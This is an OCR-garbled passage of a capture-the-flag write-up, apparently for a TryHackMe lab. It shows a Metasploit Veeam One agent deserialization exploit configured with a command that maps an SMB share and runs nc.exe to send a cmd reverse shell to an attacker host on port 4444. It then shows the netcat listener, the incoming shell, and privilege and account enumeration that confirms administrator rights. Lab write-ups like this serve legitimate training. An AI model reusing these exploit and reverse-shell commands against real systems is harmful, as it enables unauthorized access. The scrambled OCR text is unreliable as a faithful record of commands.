Impacket v@.9.22.dev1+20200416.91838.62162e@a - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
] Callback added for UUID 4B324F(C8-1670-01D3-1278-5A47BF6EE188 V:3.0
Callback added for UUID 6BFFD@98-A112-3610-9833-46C3F87E345A V:1.0

Config file parsed
Config file parsed

[*
[*
[*] Config file parsed
[*
[*

We configure our Metasploit module by setting our options.
Remember we need two set RHOSTS to 127.0.0.1 because of the
tunnel and setting a one-liner to run nc.exe. You may need to set
SRVHOST to you THM VPN address to make sure it can be reached
by the Veeam exploit.



msfS exploit(windows/misc/veeam_one_agent_deserialization_mod) > set target 3

target => 3

msfS5 exploit(windows/misc/veeam_one_agent_deserialization_mod) > options

Module options (exploit/windo

Name Current Setting

MD net use a
127.0.0.1

2805
0.0.0.0

address on the local machine or 0.0.

SRVPORT 8080
SSL false
SSLCert

URIPATH

Payload options (windows.

Name Current Setting

™MD net use a:
EXITFUNC process

Exploit target:
Id Name

Windows Custom Command

\\192.168.16.53\myshare /
HOSTINFO_NAME AgentController

/misc/veeam_one_agent_deserialization_mod

Required Description

e me&a:\nc.exe 192.168.16.53 4444 -e cmd yes
yes
yes

.0 to listen on all addresses.

xe 192.168.16.53 4444 -e cmd yes

The command to execute
Name to send in host info (must be recognized by server!)
The target host(s), range CIDR identifier, or hosts file with synt

The target port (TCP)
The local host or work interface to listen on. This must

The local port to listen on.

Negotiate SSL for incoming connections

Path to a custom SSL certificate (default is randomly generated)
The URI to use for this exploit (default is random)

Description

The command string to execute

nique (Accepte , seh, thread, process, none)

We start a netcat listener on our attacker box on port 4444 and fire

off the exploit

And we got a shell back!

root@kali2:/mnt/t
listening on [any] 4

connect to [192.168.16.53] from (UNKNOWN) [192.

# rlwrap nc -lvnp 4444

8.16.19] 49754

Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
set\one

system32>whoami /priv

whoami /priv

PRIVILEGES INFORMATION

Privilege Name

SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDri Privilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
SeImpersonatePrivilege
SeCreateGlobalPrivilege
SeIncreaselorkingSetPrivilege

SeTimeZonePrivilege

SeCreateSymbolicLinkPrivilege

Description

Adjust memory quotas for a process
Manage auditing and security log
Take ownership of files or other objects
Load and unload device drivers
Profile system performance

Change the system time

Profile single process

Increase scheduling priority

Create a pagefile

Back up files and directories
Restore files and directories

Shut down the system

Debug programs

Modify firmware environment values
Bypass traverse checking

Force shutdown from a remote system
Remove computer from docking station
Perform volume maintenance tasks
TImpersonate a client after authentication
Create global objects

Increase a process working set
Change the time zone

Create symbolic links

Disabled
Disabled
Disabled
Disabled
Disabled
Disabled
Disabled
Disabled
Disabled
Disabled
Disabled
Disabled
Enabled

Disabled
Enabled

Disabled
Disabled
Disabled
Enabled

Enabled

Disabled
Disabled
Disabled

SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled




C:\Windows\system32 user one

net user one

User name One

Full Name One Agent

Comment

User's comment

Country/region code 000 (System Default)
Account active Yes

Account expires Never

Password last set 6/7/2020 7:56:25 AM
Password expires Never

Password changeable 6/7/2020 7:56:25 AM
Password required

User may change password

Workstations allowed

Logon script

User profile

Home directory

Last logon 2020 1:46:17 PM

Logon hours allowed ALl
Local Group Memberships *Administrators

Global Group memberships — *None
The command completed successfully.

We are an administrator

c:\Users\Administrator\Desktopb>tvpe Flaa3.txt

Redacted
And have the final flag.

Done!


Andreas Finstad
Redacted


